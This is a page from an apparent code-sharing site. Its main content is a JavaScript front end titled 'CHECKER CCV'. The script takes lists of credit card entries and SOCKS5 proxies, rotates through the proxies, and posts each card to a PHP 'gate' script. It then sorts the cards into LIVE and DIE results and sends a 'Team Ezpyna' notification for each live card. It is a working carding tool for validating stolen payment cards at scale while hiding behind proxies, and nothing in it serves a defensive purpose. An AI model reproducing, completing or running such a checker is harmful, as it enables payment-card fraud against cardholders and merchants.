Run Code
|
API
|
Code Wall
|
Misc
|
Feedback
|
Login
|
Theme
|
Privacy
|
Patreon
checker
var ajaxCall; Array.prototype.remove = function(value){ var index = this.indexOf(value); if(index != -1){ this.splice(index, 1); } return this; }; function enableTextArea(bool){ $('#socks').attr('disabled', bool); $('#mailpass').attr('disabled', bool); } function ug_liveUp(){ var count = parseInt($('#justme_live_count').html()); count++; $('#justme_live_count').html(count+''); } function ug_dieUp(){ var count = parseInt($('#justme_die_count').html()); count++; $('#justme_die_count').html(count+''); } function checked_up(){ var count = parseInt($('#checked_count').html()); count++; $('#checked_count').html(count+''); } function wrong_up(){ var count = parseInt($('#wrong_count').html()); count++; $('#wrong_count').html(count+''); } function babsocks_up(){ var count = parseInt($('#bad_count').html()); count++; $('#bad_count').html(count+''); } function stopLoading(bool){ $('#loading').attr('src', 'clear.gif'); var str = $('#checkStatus').html(); //$('#checkStatus').html(str.replace('Checking','Stopped')); enableTextArea(false); $('#submit').attr('disabled', false); $('#stop').attr('disabled', true); if(bool){ alert('Done'); }else{ ajaxCall.abort(); } updateTitle('CHECKER CCV'); } function updateTitle(str){ document.title = str; } function updateTextBox(mp, sock, usesock) { var mailpass = $('#mailpass').val().split("\n"); mailpass.remove(mp); $('#mailpass').val(mailpass.join("\n")); if (usesock == 1) { var socks = $('#socks').val().split("\n"); socks.remove(sock); $('#socks').val(socks.join("\n")); } } function HaHa(lstMP, lstSock, curMP, curSock, delim, maxFail, failed,usesock){ if(lstMP.length<1 || lstSock.length<1 || curMP>=lstMP.length || curSock>=lstSock.length){ stopLoading(true); return false; } if(failed >= maxFail){ curSock++; HaHa(lstMP, lstSock, curMP, curSock, delim, maxFail, 0,usesock); return false; } updateTextBox(lstMP[curMP], lstSock[curSock],usesock); ajaxCall = $.ajax({ url: 'http://localhost/gatesScripts/dorco2.php', dataType: 'json', cache: false, type: 'POST', beforeSend: function (e) { updateTitle(lstMP[curMP] + ' - CHECKER CCV'); $('#checkStatus').html('Checking: ' + lstSock[curSock] + '|'+ lstMP[curMP]); $('#loading').attr('src', 'loading.gif'); $('#checktongso').html(lstMP.length); }, data: 'ajax=1&do=check&sock='+encodeURIComponent(lstSock[curSock])+'&mailpass='+encodeURIComponent(lstMP[curMP])+'&delim='+encodeURIComponent(delim)+'&usesock='+usesock, success: function(data) { switch(data.msg){ case 3: curMP++; if(usesock==1) { curSock++; } checked_up(); $('#justme_can_check').append(`<b style="color:orange; ">[UNCHECK]</b> ${data.contenCC} <b> =></b> <b> Su tarjeta no ha podido ser verificada, favor de revisar su formato </b> <br />`); wrong_up() break; case 4: if(usesock==1) { curSock++; } $('#badsock').append(`<b style="color:red; ">[DIE]</b> ${data.contenCC} <b> =></b> <b> Die or Timeout </b> <br />`); babsocks_up() break; case 1: curMP++; $('#justme_die').append(` <b style="color:red; ">[DIE]</b> ${data.contenCC} <b> =></b> <b> Su tarjeta ha sido declinada </b> <br />`); failed++; checked_up(); ug_dieUp(); break; case 2: curMP++; $('#justme_live').append(` <b style="color:green;">[LIVE]</b> ${data.contenCC} <b> =></b> <b> Su pago a sido confirmado con exito, disfrute su tarjeta </b> <br />`); failed++; checked_up(); ug_liveUp(); Push.create('<>Team Ezpyna<>', { body: '<[EZ][LIVE]1x Card LIVE[LIVE][EZ]>', icon: { x32: 'img/avatar.jpg' }, timeout: 8000 }); break; } HaHa(lstMP, lstSock, curMP, curSock, delim, maxFail, failed,usesock); } }); return true; } function filterMP(mp, delim){ var mps = mp.split("\n"); var filtered = new Array(); var lstMP = new Array(); for(var i=0;i<mps.length;i++){ lstMP.push(mps[i]); } return lstMP; } $(document).ready(function(){ $('#stop').attr('disabled', true).click(function(){ stopLoading(false); }); //al iniciar el check evaluo de los parametros $('#submit').click(function(){ var delim = $('#delim').val().trim(); var deadlimp = $('#justme_die').html(''); var deadcont = $('#justme_die_count').html('0'); var wronglimp = $('#justme_can_check').html(''); var wrongCount = $('#wrong_count').html('0'); var mailpass = filterMP($('#mailpass').val(), delim); var regex = /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}/g; var usesock = '1'; var found = $('#socks').val().match(regex); if(found == null){ alert('No Sock5 found!'); return false; } $('#socks').val(found.join("\n")).attr('disabled', true); var maxFail = parseInt($('#fail').val()); var failed = 0; if($('#mailpass').val().trim()==''){ alert('No CC found!'); return false; } $('#mailpass').val(mailpass.join("\n")).attr('disabled', true); $('#result').show(); $('#submit').attr('disabled', true); $('#stop').attr('disabled', false); HaHa(mailpass, found, 0, 0, delim, maxFail, 0,usesock); return false; }); }); function myConfirmation() { return 'Are you sure you want to quit?'; } window.onbeforeunload = myConfirmation;
run
|
edit
|
history
|
help
0
foreach
Pramod
check ca a place
BitArrays Are Cool
Delegate In C#
Events
Ranges thing
Foreach
linked list reversal recursive
Preprocessor